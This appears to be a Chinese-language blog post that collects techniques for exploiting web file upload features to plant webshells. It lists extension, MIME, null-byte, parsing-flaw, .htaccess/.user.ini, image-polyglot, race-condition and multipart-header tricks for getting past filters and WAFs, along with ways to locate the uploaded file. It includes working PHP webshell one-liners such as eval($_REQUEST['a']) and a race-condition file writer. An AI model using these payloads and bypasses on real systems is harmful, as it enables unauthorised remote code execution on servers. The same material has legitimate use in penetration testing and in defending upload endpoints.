• 文件上传利用总结


    找到上传点,先初步判断一下做了什么防御手段:

    客户端检查

    利用burp抓包改包,先上传一个jpg类型的木马,然后通过burp将其改为asp/php/jsp后缀名即可

    服务端后缀黑名单

    上传特殊可解析后缀

    asp|asa|cer|cdx

    aspx|ascx|ashx|asax|asac

    php|php2|php3|php4|php5|asis|htaccess|.user.ini|phtm|phtml、pht(是否解析需要根据配置文件中设置类型来决定)

    jsp|jspx|jspf

    htm|html|shtml|pwml|js

    vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini

    上传.htaccess

    .htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置。

     .htaccess 文件生效前提条件为:

    mod_rewrite 模块开启

    AllowOverride All

    上传.user.ini

    原理:

    1、.user.ini 有点像.htaccess,php运行时,会检索加载所有目录下的.ini配置文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。

    2、.user.ini是一个能被动态加载的ini文件,这点和php.ini不同。也就是说修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

    利用:

    上传.user.ini:

    auto_prepend_file=1.gif       # 要访问的文件加载之前加载,

    或者

    auto_append_file=1.gif # 要访问的文件加载之后加载

    上传一个包含webshell代码的1.gif:

    GIF98A <?php eval($_REQUEST['a']);?>

    访问本目录下任意文件附带参数?a=xxx 就可以实现命令执行

    ?a=phpinfo(); ?a=system('whoami');

    配合解析漏洞

    IIS:

    目录解析漏洞(/test.asp/1.jps)

    文件名解析漏洞(test.asp;.jpg)

    畸形解析漏洞(test.jpg/*.php)

    Nginx:

    畸形解析漏洞(test.jpg/*.php)

    %00空字节代码解析漏洞

    CVE-2013-4547(%20%00)

    Apache:

    文件名解析漏洞(test.php.owf.xdx)

    详细参考:https://www.cnblogs.com/vege/p/12444476.html

    利用NTFS ADS特性

    其他

    点绕过、空格绕过、后缀双写绕过、后缀大小写绕过、%00绕过、0x00绕过

    GET:

    shell.php%00.jpg

    POST:

    (hex里面改)

    shell.php%20%00.jpg

    shell.php.

    shell.php. .

    服务器后缀白名单

    00截断、MIME、点、空格、点空格点、::$DATA

    shell.php::$DATA

    shell.php

    shell.php.

    shell.php. .

    GET:

    shell.php%00.jpg

    POST:

    (hex里面改)

    shell.php%20%00.jpg

    检查内容

    文件头检查

    木马文件中插入 允许上传的文件类型的文件头。

    如gif

    1.php

    GIF98A <?php eval($_REQUEST['a']);?>

    MIME

    正常上传木马文件,burp抓包修改 Content-Type:image/jpg 等

    getimagesize()、exif_imagetype()函数检查

    生成图片马:

    制作方法: copy 1.jpg/b + 1.php/a 2.jpg      b表示二进制文件  a表示ASCII文件

    也可以使用edjpgcom.exe工具

    然后结合文件包含漏洞利用

    二次渲染

    (1)上传gif图片:先将普通的gif图片上传,会被渲染,渲染之后再下载下来,与原git图片对比,找到渲染前后没有变化的位置,然后在这些位置插入php一句话,再上传即可。

    (2)上传jpg、png图片:这两种格式图片的二次渲染绕过要难很多很多:png(索引类型图,写入 PLTE 数据块或写入IDAT数据块),jpg(成功性不大),具体参考   https://xz.aliyun.com/t/2657#toc-3

    技巧点:在目标网站渲染的过的图片再修改,修改后的再传两次

    条件竞争

    由于代码逻辑问题,其先将我们上传的图片保存,然后再进行处理,删除原图片,因此我们可以利用条件竞争,在我们上传的图片马被删除之前触发它。

    方法:

    利用burp不断发包,不断触发

    1.php

    <?php fputs(fopen(‘a.php’,’w’),‘<?php eval($_POST[cmd])?>’); ?>

    绕过WAF

    云WAF

    通过寻找域名真实IP,使用真实IP进行文件上传,绕过waf限制

    例如

    传shell时发现存在某云WAF,需进一步绕过

    通过寻找域名真实IP,使用真实IP进行文件上传,绕过waf限制

    构造畸形的数据包,“打乱”waf的检测

    WAF如何拦截:

    文件名:

    解析文件名,判断是否在黑名单内

    文件内容

    解析文件内容,判断是否为webshell

    目前,市面上常见的是解析文件名,少数WAF是解析文件内容,比如长亭。下面内容,都是基于文件名解析。

    绕过:

    获取文件名的地方在Content-Disposition: form-data; name="file_x"; filename="xx.php"Content-Type里,所以绕过的地方也就在这两个地方了。

    1、去掉引号

    2、双引号变单引号

    3、多加一个引号

    4、大小写

    对这三个固定的字符串进行大小写转换

    比如name转换成Name,Content-Disposition转换成content-disposition。

    5、空格

    在: ; =添加1个或者多个空格,不过测试只有filename在=前面添加空格,上传失败。

    在filename=后面添加空格上传成功

    6、去掉或修改Content-Disposition值

    有的WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。

    7、删掉content-type

    同上

    8、交换name和filename的顺序

    规定Content-Disposition必须在最前面,所以只能交换name和filename的顺序。

    有的WAF可能会匹配name在前面,filename在后面,所以下面姿势会导致Bypass:

    Content-Disposition: form-data; filename="xx.php"; name=file_x

    9、多个boundary

    最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。

    10、多个filename

    最终上传成功的文件名是test.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。

    11、多个分号

    文件解析时,可能解析不到文件名,导致绕过。

    12、header头,Content-Type :  multipart/form-DATA

    这种绕过应该很少,大多数都会忽略大小写。php和java都支持。

    13、header头在boundary前添加任意字符

    php支持,java不支持

    14、filename换行

    filen

    ame="hhh

    .

    p

    hp"

    15、filename文件名添加单引号(‘)分号(;)等

    filename==”hh' h.php”

    filename=”hh;h.php”

    16、filename==或者filename===绕过

    17、name 和filename之间添加任意字符或者是大量字符

    18、form-data用+拼接

    19、Content-Disposition:*

    20、filename="1.jpg .Php"类似这种的各种尝试

    上传成功后寻找返回路径

    正常情况下,在返回包中可以找到文件上传路径,如果未返回路径或找不到,可以尝试以下方法:

    1、

    刷新, f12  network/浏览器history搜索shell名字,或点击下载文件可能就知道了路径或相似路径。有些时候改名字的wordpress插件,编辑器等等,就可以通过这种方式发现

    2、

    返回了一些参数但不包括路径的情况,比如file_id 等等,那么文件路径可能存储在数据库中,可以结合sql注入 sqlmap的--search -C参数找到字段和值

    3、

    什么都没返回的情况,只返回了ok,true等等。重新加载,抓包看响应,或许某个接口的响应就包括对应的路径。

    比如头像位置上传上去了,但是没有返回路径,那么想办法让他在加载一遍,比如退出重新登陆,一个包一个包的放。可能有些包的响应中就包含路径。

         另外可能存在其他服务器、或者其他站点的其他路径,也是抓包查看,看一下加载过程的路径在哪或者看一下html、js

    4、

    只返回了文件名,没有路径

    一种是fuzz,看其他同类型文件的路径,f12或者如果有文件下载的地方,下载抓包,看文件地址。

    另一种是 尝试上传的时候目录穿越,一次一次尝试,看能否穿到站点根目录或者知道的目录下面。修改不如表单的其他参数、或者filename参数的值

    5、

    尝试访问日志文件,看能否发现一些敏感目录或上传目录

    比如泛微

    6、

    上传上去没有访问直接下载,当前文件夹没有执行权限

    这种情况,尝试目录穿越的方式,穿到其他目录下,比如根目录,来绕过限制

    ../->%C0%AE%C0%AE/

    /../      ..

    其他一些情况

    1、当前上传接口无法绕过时,注意观察文件名,fuzz相似接口

    uploadImg.cspx

    uploadfile.cspx

    uploadtest.cspx

    upload_test.cspx

    upload_2018.php

    upload2019.php

    upload2020.jsp

    temp、test等等接口

    fck编辑器的漏洞就是这样的,

    例子:

    2、尝试修改表单其他字段,看是否会影响后缀,(参数的优先级)

    例子:

    测试中发现了一个上传点,但waf拦截jsp、html等后缀,更改后缀重放数据包会导致reset,如下:

    fileName和fileType参数可控,且当存在两个不同的后缀时,最上层的filename参数优先级为最高,可导致任意文件上传

    发现上传成功的jsp文件其回显的type类型为image/png类型

    删除最下层filename的Content-Type: image/png,文件上传类型即可被绕过

    参考

    https://paper.seebug.org/560/

    https://xz.aliyun.com/t/10043

    http://www.feidao.site/wordpress/?p=2184

    https://xz.aliyun.com/t/7531

    永远相信 永远热爱
  • 相关阅读:
    Serverless 动态博客开发趟“坑”记
    tsv与csv文件
    zypper
    source、sh、./三种执行方式对脚本变量的影响
    linux nm
    ldconfig
    cpio
    License简介
    rpm之spec文件
    使用rpmbuild制作rpm包
  • 原文地址:https://www.cnblogs.com/vege/p/15252077.html
Copyright © 2020-2023  润新知